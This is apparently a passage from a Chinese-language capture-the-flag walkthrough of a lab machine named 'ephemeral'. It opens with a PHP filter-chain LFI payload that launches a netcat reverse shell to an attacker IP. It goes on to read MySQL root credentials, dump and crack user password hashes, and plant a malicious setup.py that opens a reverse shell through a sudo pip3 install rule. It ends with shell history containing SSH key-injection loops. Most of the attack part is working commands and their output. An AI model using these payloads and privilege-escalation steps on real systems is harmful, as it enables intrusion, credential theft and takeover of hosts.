conv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0=busybox%20nc%20192.168.0.106%204444%20-e%20bash

方法二：使用 phpinfo 从 LFI 转 RCE

https://github.com/roughiz/lfito_rce↗

1
python3 lfito_rce.py -l 'http://192.168.0.100/prices/filedownload.php?AssignmentForm=' --lhost 192.168.0.106 --lport 4444 -i 'http://192.168.0.100/phpsysinfo.php'

我没成功

提权

1
(remote) www-data@ephemeral:/etc/cron.d$ ps auxf
2
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
3
root           2  0.0  0.0      0     0 ?        S    05:41   0:00 [kthreadd]
4
root           3  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [rcu_gp]
5
root           4  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [rcu_par_gp]
6
root           6  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [kworker/0:0H-events_highpri]
7
root           9  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [mm_percpu_wq]
8
root          10  0.0  0.0      0     0 ?        I    05:41   0:00  \_ [rcu_tasks_kthread]
9
root          11  0.0  0.0      0     0 ?        I    05:41   0:00  \_ [rcu_tasks_rude_kthread]
10
root          12  0.0  0.0      0     0 ?        I    05:41   0:00  \_ [rcu_tasks_trace_kthread]
11
root          13  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [ksoftirqd/0]
12
root          14  0.0  0.0      0     0 ?        I    05:41   0:01  \_ [rcu_preempt]
13
root          15  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [migration/0]
14
root          16  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [idle_inject/0]
15
root          17  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [cpuhp/0]
16
root          18  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [cpuhp/1]
17
root          19  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [idle_inject/1]
18
root          20  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [migration/1]
19
root          21  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [ksoftirqd/1]
20
root          22  0.0  0.0      0     0 ?        I    05:41   0:02  \_ [kworker/1:0-events]
21
root          23  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [kworker/1:0H-events_highpri]
22
root          24  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [kdevtmpfs]
23
root          25  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [netns]
24
root          26  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [inet_frag_wq]
25
root          27  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [kauditd]
26
root          29  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [khungtaskd]
27
root          30  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [oom_reaper]
28
root          31  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [writeback]
29
root          32  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [kcompactd0]
30
root          33  0.0  0.0      0     0 ?        SN   05:41   0:00  \_ [ksmd]
31
root          34  0.0  0.0      0     0 ?        SN   05:41   0:00  \_ [khugepaged]
32
root          35  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [kintegrityd]
33
root          36  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [kblockd]
34
root          37  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [blkcg_punt_bio]
35
root          38  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [tpm_dev_wq]
36
root          39  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [ata_sff]
37
root          40  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [md]
38
root          41  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [edac-poller]
39
root          42  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [devfreq_wq]
40
root          43  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [watchdogd]
41
root          45  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [kworker/0:1H-kblockd]
42
root          46  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [kswapd0]
43
root          47  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [ecryptfs-kthread]
44
root          54  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [kthrotld]
45
root          58  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [acpi_thermal_pm]
46
root          59  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [vfio-irqfd-clea]
47
root          60  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [mld]
48
root          61  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [ipv6_addrconf]
49
root          66  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [kstrp]
50
root          72  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [zswap-shrink]
51
root          73  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [kworker/u5:0]
52
root         119  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [charger_manager]
53
root         158  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [kworker/1:1H-kblockd]
54
root         161  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [mpt_poll_0]
55
root         162  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [mpt/0]
56
root         163  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_0]
57
root         164  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_0]
58
root         165  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_1]
59
root         166  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_1]
60
root         167  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_2]
61
root         168  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_2]
62
root         169  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_3]
63
root         170  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_3]
64
root         171  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_4]
65
root         172  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_4]
66
root         173  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_5]
67
root         174  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_5]
68
root         175  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_6]
69
root         176  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_6]
70
root         177  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_7]
71
root         178  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_7]
72
root         179  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_8]
73
root         180  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_8]
74
root         181  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_9]
75
root         182  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_9]
76
root         183  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_10]
77
root         184  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_10]
78
root         185  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_11]
79
root         186  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_11]
80
root         187  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_12]
81
root         188  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_12]
82
root         189  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_13]
83
root         190  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_13]
84
root         191  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_14]
85
root         192  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_14]
86
root         193  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_15]
87
root         194  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_15]
88
root         195  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_16]
89
root         196  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_16]
90
root         197  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_17]
91
root         198  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_17]
92
root         199  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_18]
93
root         200  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_18]
94
root         201  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_19]
95
root         202  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_19]
96
root         203  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_20]
97
root         204  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_20]
98
root         205  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_21]
99
root         206  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_21]
100
root         207  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_22]
101
root         208  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_22]
102
root         209  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_23]
103
root         210  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_23]
104
root         211  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_24]
105
root         212  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_24]
106
root         213  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_25]
107
root         214  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_25]
108
root         215  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_26]
109
root         216  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_26]
110
root         217  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_27]
111
root         218  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_27]
112
root         219  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_28]
113
root         220  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_28]
114
root         221  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_29]
115
root         222  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_29]
116
root         252  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_30]
117
root         253  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [scsi_tmf_30]
118
root         273  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [jbd2/sda5-8]
119
root         274  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [ext4-rsv-conver]
120
root         344  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [irq/18-vmwgfx]
121
root         347  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [card0-crtc0]
122
root         348  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [card0-crtc1]
123
root         349  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [card0-crtc2]
124
root         350  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [card0-crtc3]
125
root         351  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [card0-crtc4]
126
root         352  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [card0-crtc5]
127
root         353  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [card0-crtc6]
128
root         354  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [card0-crtc7]
129
root         398  0.0  0.0      0     0 ?        I<   05:41   0:00  \_ [cryptd]
130
root        2303  0.0  0.0      0     0 ?        I    06:08   0:00  \_ [kworker/0:0-mpt_poll_0]
131
root        2431  0.0  0.0      0     0 ?        I    06:28   0:00  \_ [kworker/u4:2-events_power_efficien
132
root        2538  0.0  0.0      0     0 ?        I    06:41   0:00  \_ [kworker/0:1-cgroup_destroy]
133
root        2542  0.0  0.0      0     0 ?        I    06:42   0:00  \_ [kworker/u4:1-events_power_efficien
134
root        2559  0.0  0.0      0     0 ?        I    06:47   0:00  \_ [kworker/u4:0-events_unbound]
135
root        2691  0.0  0.0      0     0 ?        I    06:52   0:00  \_ [kworker/1:1-events]
136
root           1  0.0  0.6 168604 12472 ?        Ss   05:41   0:00 /sbin/init splash
137
root         314  0.0  0.8  51468 16644 ?        S<s  05:41   0:00 /lib/systemd/systemd-journald
138
root         338  0.0  0.3  24228  7520 ?        Ss   05:41   0:00 /lib/systemd/systemd-udevd
139
systemd+     597  0.0  0.6  23868 13080 ?        Ss   05:41   0:00 /lib/systemd/systemd-resolved
140
systemd+     600  0.0  0.2  90220  5972 ?        Ssl  05:41   0:00 /lib/systemd/systemd-timesyncd
141
root         628  0.0  0.0   2548   764 ?        Ss   05:41   0:00 /usr/sbin/acpid
142
root         630  0.0  0.1   8168  2468 ?        Ss   05:41   0:00 /usr/sbin/anacron -d -q -s
143
avahi        632  0.0  0.1   8532  3300 ?        Ss   05:41   0:00 avahi-daemon: running [ephemeral.local]
144
avahi        655  0.0  0.0   8348   328 ?        S    05:41   0:00  \_ avahi-daemon: chroot helper
145
root         633  0.0  0.1   9420  2764 ?        Ss   05:41   0:00 /usr/sbin/cron -f
146
root         635  0.0  0.4  28440  8600 ?        Ss   05:41   0:00 /usr/sbin/cupsd -l
147
lp           688  0.0  0.3  15332  6484 ?        S    05:41   0:00  \_ /usr/lib/cups/notifier/dbus dbus://
148
message+     636  0.0  0.2   7936  4652 ?        Ss   05:41   0:00 /usr/bin/dbus-daemon --system --address
149
root         638  0.0  1.0 264652 21076 ?        Ssl  05:41   0:00 /usr/sbin/NetworkManager --no-daemon
150
root         642  0.0  0.1  81832  3692 ?        Ssl  05:41   0:00 /usr/sbin/irqbalance --foreground
151
root         644  0.0  0.9  39328 20176 ?        Ss   05:41   0:00 /usr/bin/python3 /usr/bin/networkd-disp
152
root         646  0.0  0.4 236844  8904 ?        Ssl  05:41   0:00 /usr/lib/policykit-1/polkitd --no-debug
153
syslog       648  0.0  0.2 224352  4612 ?        Ssl  05:41   0:00 /usr/sbin/rsyslogd -n -iNONE
154
root         649  0.1  2.0 1923648 40836 ?       Ssl  05:41   0:05 /usr/lib/snapd/snapd
155
root         650  0.0  0.3  16556  7392 ?        Ss   05:41   0:00 /lib/systemd/systemd-logind
156
root         651  0.0  0.2  13684  4836 ?        Ss   05:41   0:00 /sbin/wpa_supplicant -u -s -O /run/wpa_
157
root         687  0.0  0.6 178392 12472 ?        Ssl  05:41   0:00 /usr/sbin/cups-browsed
158
root         699  0.0  0.5 314468 10836 ?        Ssl  05:41   0:00 /usr/sbin/ModemManager
159
root         713  0.0  1.1 118020 22972 ?        Ssl  05:41   0:00 /usr/bin/python3 /usr/share/unattended-
160
root         720  0.1  2.4 975776 50368 ?        Ssl  05:41   0:06 /usr/bin/containerd
161
root         721  0.0  0.1   6816  2924 ?        Ss   05:41   0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
162
root         729  0.0  0.0   8436  1748 tty1     Ss+  05:41   0:00 /sbin/agetty -o -p -- \u --noclear tty1
163
root         746  0.0  0.3  12180  6676 ?        Ss   05:41   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of
164
root         749  0.0  0.8 193444 17656 ?        Ss   05:41   0:00 /usr/sbin/apache2 -k start
165
www-data    2475  0.0  3.9 257496 80680 ?        S    06:34   0:01  \_ /usr/sbin/apache2 -k start
166
www-data    2480  0.0  0.8 194092 16256 ?        S    06:34   0:00  \_ /usr/sbin/apache2 -k start
167
www-data    2490  0.0  0.8 198704 17300 ?        S    06:35   0:00  \_ /usr/sbin/apache2 -k start
168
www-data    2494  0.0  0.8 194092 16368 ?        S    06:35   0:00  \_ /usr/sbin/apache2 -k start
169
www-data    2507  0.0  0.8 198712 17188 ?        S    06:36   0:00  \_ /usr/sbin/apache2 -k start
170
www-data    2510  0.0  0.8 198780 16788 ?        S    06:36   0:00  \_ /usr/sbin/apache2 -k start
171
www-data    2512  0.0  0.8 198756 16976 ?        S    06:36   0:00  \_ /usr/sbin/apache2 -k start
172
www-data    2513  0.0  0.8 197060 16892 ?        S    06:36   0:00  \_ /usr/sbin/apache2 -k start
173
www-data    2717  0.0  0.0   2616   592 ?        S    06:53   0:00  |   \_ sh -c busybox nc 192.168.0.106
174
www-data    2718  0.0  0.1   3984  3004 ?        S    06:53   0:00  |       \_ bash
175
www-data    2738  0.0  0.0   2644  1948 ?        S    06:53   0:00  |           \_ /usr/bin/script -qc /us
176
www-data    2739  0.0  0.0   2616   524 pts/0    Ss   06:53   0:00  |               \_ sh -c /usr/bin/bash
177
www-data    2740  0.0  0.1   4248  3524 pts/0    S    06:53   0:00  |                   \_ /usr/bin/bash
178
www-data    2893  0.0  0.1   6224  3316 pts/0    R+   06:58   0:00  |                       \_ ps auxf
179
www-data    2514  0.0  0.7 193988 15944 ?        S    06:36   0:00  \_ /usr/sbin/apache2 -k start
180
www-data    2515  0.0  0.8 198736 16952 ?        S    06:36   0:00  \_ /usr/sbin/apache2 -k start
181
mysql        813  0.2 20.0 1797104 405600 ?      Ssl  05:41   0:12 /usr/sbin/mysqld
182
whoopsie     825  0.0  0.7 327168 15924 ?        Ssl  05:41   0:00 /usr/bin/whoopsie -f
183
kernoops     833  0.0  0.0  11260   444 ?        Ss   05:41   0:00 /usr/sbin/kerneloops --test
184
kernoops     836  0.0  0.0  11260   444 ?        Ss   05:41   0:00 /usr/sbin/kerneloops
185
root         854  0.0  4.3 873168 88144 ?        Ssl  05:41   0:01 /usr/bin/dockerd -H fd:// --containerd=

1
(remote) www-data@ephemeral:/etc/cron.d$ find / -name "*.cnf" -o -name "*.ini" 2>/dev/null | grep -i mysql
2
/usr/share/doc/mysql-server-8.0/examples/daemon_example.ini
3
/etc/mysql/my.cnf
4
/etc/mysql/.my.cnf
5
/etc/mysql/debian.cnf
6
/etc/mysql/mysql.cnf
7
/etc/mysql/mysql.conf.d/mysqld.cnf
8
/etc/mysql/mysql.conf.d/mysql.cnf
9
/etc/mysql/conf.d/mysqldump.cnf
10
/etc/mysql/conf.d/mysql.cnf

mysql凭据

1
(remote) www-data@ephemeral:/etc/cron.d$ cat /etc/mysql/.my.cnf
2
[client]
3
user=root
4
password=RanDydBPa$$w0rd0987

尝试mysql提权失败了

翻找数据库

1
mysql> show databases;
2

3
+--------------------+
4
| Database           |
5
+--------------------+
6
| ephemeral_users    |
7
| information_schema |
8
| mysql              |
9
| performance_schema |
10
| sys                |
11
+--------------------+
12
5 rows in set (0.01 sec)
13

14
mysql> use ephemeral_users;
15
Reading table information for completion of table and column names
16
You can turn off this feature to get a quicker startup with -A
17

18
Database changed
19
mysql> show tables;
20
+---------------------------+
21
| Tables_in_ephemeral_users |
22
+---------------------------+
23
| ephemeral_users           |
24
+---------------------------+
25
1 row in set (0.00 sec)
26

27
mysql> select * from ephemeral_users;
28
+--------+------------------------------------------+
29
| user   | password                                 |
30
+--------+------------------------------------------+
31
| kevin  | a7f30291fe998b2f188678090b40d8307ffdeddd |
32
| donald | 603ebcdd05c78c0a635b7b0846ef8ad5758b6d7c |
33
| jane   | 84f66bc55f616fe45b4d996896e4c9e4121264ef |
34
| randy  | d1b10494107b459a80df1e1d5b9b62bd0b24a1ce |
35
+--------+------------------------------------------+
36
4 rows in set (0.00 sec)

密码破解

1
kevin           jameskevingilmerjr
2
donald          24donaldson
3
jane            !pass_word
4
randy           !password!23

尝试登录

1
(remote) www-data@ephemeral:/etc/cron.d$ su kevin
2
Password:
3
kevin@ephemeral:/etc/cron.d$

得到凭据kevin\jameskevingilmerjr

提权-donald

1
kevin@ephemeral:/$ sudo -l
2
[sudo] password for kevin:
3
Matching Defaults entries for kevin on ephemeral:
4
    env_reset, mail_badpass,
5
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
6

7
User kevin may run the following commands on
8
        ephemeral:
9
    (donald) PASSWD: /usr/bin/pip3 install *

1. 创建包目录

1
cd /tmp
2
mkdir rev_shell
3
cd rev_shell

2. 创建setup.py

1
cat > setup.py << 'EOF'
2
import os, socket, subprocess, pty
3

4
lhost = "192.168.0.106"
5
lport = 9999
6

7
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
8
s.connect((lhost, int(lport)))
9
os.dup2(s.fileno(), 0)
10
os.dup2(s.fileno(), 1)
11
os.dup2(s.fileno(), 2)
12
pty.spawn("/bin/bash")
13
EOF

3. 执行安装

1
sudo -u donald pip3 install .

4. 攻击机监听

1
(remote) donald@ephemeral:/home/donald$ ls
2
commands  Desktop  mypass.txt  note.txt
3
(remote) donald@ephemeral:/home/donald$ cat mypass.txt
4
FjqSy9KKWgSdc65usJ7yoPNIokz
5
(remote) donald@ephemeral:/home/donald$ cat note.txt
6
Hey Donald this is your system administrator. I left your new password in your home directory.
7
Just remember to decode it.
8

9
Let me know if you need your password changed again.

1
https://www.dcode.fr/
2
https://www.dcode.fr/identification-chiffrement
3

4
分析出位base62
5
在经过base62解码后为nORMAniAntIcINacKLAi

提权-jane

1
(remote) donald@ephemeral:/home/donald/commands$ history
2
 1010  ls -la
3
 1011  rm -r id_rsa.pub\*
4
 1012  clear
5
 1013  ls -la
6
 1014  cd ..
7
 1015  ls -a l
8
 1016  rm -r keys/
9
 1017  clear
10
 1018  ls -al
11
 1019  ls -la
12
 1020  cd ..
13
 1021  cd shm/
14
 1022  ls -la
15
 1023  su jane
16
 1024  clear
17
 1025  ls -]al
18
 1026  clear
19
 1027  ls -la
20
 1028  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm* > /dev/null; done
21
 1029  clear
22
 1030  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
23
 1031  clear
24
 1032  ls -la
25
 1033  rm -r id_rsa.pub
26
 1034  clear
27
 1035  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
28
 1036  ls -al
29
 1037  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub* > /dev/null; done
30
 1038  cd /dev/shm/
31
 1039  ls -al
32
 1040  cd keys/
33
 1041  ls
34
 1042  touch file.txt
35
 1043  cd ..
36
 1044  cd /tmp/
37
 1045  cd t
38
 1046  cd test/
39
 1047  touch file.txt
40
 1048  cd ..
41
 1049  touch file.txt
42
 1050  rm -r
43
 1051  rm -r file.txt
44
 1052  cd t
45
 1053  cd test/
46
 1054  ls -al
47
 1055  touch file.txt
48
 1056  cd /dev/shm/
49
 1057  ls -la
50
 1058  cd keys/
51
 1059  ls
52
 1060  cd..
53
 1061  clear
54
 1062  ls -al
55
 1063  cd ..
56
 1064  ls -la
57
 1065  rm -r keys/
58
